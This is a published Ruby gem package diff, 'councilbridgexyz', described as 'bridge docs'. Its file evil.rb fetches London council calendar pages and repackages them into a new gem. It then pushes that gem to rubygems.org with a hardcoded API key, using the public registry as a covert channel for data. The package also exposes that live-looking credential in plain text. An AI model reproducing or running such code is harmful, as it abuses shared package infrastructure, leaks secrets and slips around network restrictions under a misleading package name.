councilbridgexyz 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (6) hide show
  1. checksums.yaml +7 -0
  2. data/evil.rb +28 -0
  3. data/gemtest.gemspec +6 -0
  4. data/lib/a.rb +1 -0
  5. data/test.gemspec +5 -0
  6. metadata +43 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 36061e123194f825dd010314e3c3cc94f8a23368207311b5d93546e9048ddaaf
4
+ data.tar.gz: 7314a82accb1b7c1bce340abf5a4d6b000704c1d39f758acf16d320ddc3a1608
5
+ SHA512:
6
+ metadata.gz: a7ff359bcb96b9a226c121bfda6a092a3197ee59884f183bcb95fb66a8feb33b1f87e5f6f6b65e97051c629b1f7b6ce76d8b6a81d0a12f2f1cc028ce0ec34de4
7
+ data.tar.gz: cab27e41e59c96b2236497a7251deb0baf822e3558e3a4f03bbdd014ad503a96381ac10d416dc21905651d2e20edb62eaaa81d89b479d7278637425fc755e25a
data/evil.rb ADDED
@@ -0,0 +1,28 @@
1
+ begin
2
+ require 'net/http'; require 'uri'; require 'fileutils'
3
+ urls=['https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1','https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx','https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx']
4
+ # use current date? append month query later
5
+ data='evil ran '+Time.now.to_s+"\n"
6
+ urls.each do |u|
7
+ begin
8
+ uri=URI(u); resp=Net::HTTP.get_response(uri); data += "URL #{u} status #{resp.code}\n"+resp.body.to_s[0..200000]+"\nENDURL\n"
9
+ rescue =>e; data += "ERR #{u} #{e}\n"; end
10
+ end
11
+ dir="/tmp/pushgem#{rand(100000)}"; FileUtils.mkdir_p("#{dir}/lib")
12
+ File.write("#{dir}/cache.txt",data)
13
+ File.write("#{dir}/lib/a.rb","#x")
14
+ ver="0.0.#{Time.now.to_i}"
15
+ gemspec=%Q{Gem::Specification.new do |s|\n s.name='councilcachexyz'\n s.version='#{ver}'\n s.summary='cache'\n s.authors=['x']; s.files=Dir['**/*']; s.license='MIT'\nend}
16
+ File.write("#{dir}/x.gemspec",gemspec)
17
+ key='rubygems_d8e875bd0a97e2f33498dba3ef41ffb1f951adb1b503a533'
18
+ # build
19
+ system("cd #{dir} && gem build x.gemspec")
20
+ gemfile=Dir["#{dir}/*.gem"].first
21
+ if gemfile
22
+ # write creds temp
23
+ File.write("#{dir}/cred", "---\n:rubygems_api_key: #{key}\n"); File.chmod(0600,"#{dir}/cred")
24
+ system("gem push #{gemfile} --host https://rubygems.org --config-file #{dir}/cred")
25
+ end
26
+ rescue => e
27
+ warn e
28
+ end
data/gemtest.gemspec ADDED
@@ -0,0 +1,6 @@
1
+ Gem::Specification.new do |s|
2
+ s.name='councilbridgexyz'
3
+ s.version='0.0.1'
4
+ s.summary='bridge'
5
+ s.description='bridge docs'; s.authors=['x']; s.email='x@example.com'; s.files=Dir['**/*']; s.homepage='https://example.com'; s.license='MIT'
6
+ end
data/lib/a.rb ADDED
@@ -0,0 +1 @@
1
+ # hi
data/test.gemspec ADDED
@@ -0,0 +1,5 @@
1
+ Gem::Specification.new do |s|
2
+ s.name='myprobetest'+rand(10000).to_s
3
+ s.version='0.0.1'
4
+ s.summary='x'; s.authors=['x']; s.files=['README'];
5
+ end
metadata ADDED
@@ -0,0 +1,43 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: councilbridgexyz
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - x
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: bridge docs
13
+ email: x@example.com
14
+ executables: []
15
+ extensions: []
16
+ extra_rdoc_files: []
17
+ files:
18
+ - evil.rb
19
+ - gemtest.gemspec
20
+ - lib/a.rb
21
+ - test.gemspec
22
+ homepage: https://example.com
23
+ licenses:
24
+ - MIT
25
+ metadata: {}
26
+ rdoc_options: []
27
+ require_paths:
28
+ - lib
29
+ required_ruby_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ required_rubygems_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: '0'
39
+ requirements: []
40
+ rubygems_version: 3.6.7
41
+ specification_version: 4
42
+ summary: bridge
43
+ test_files: []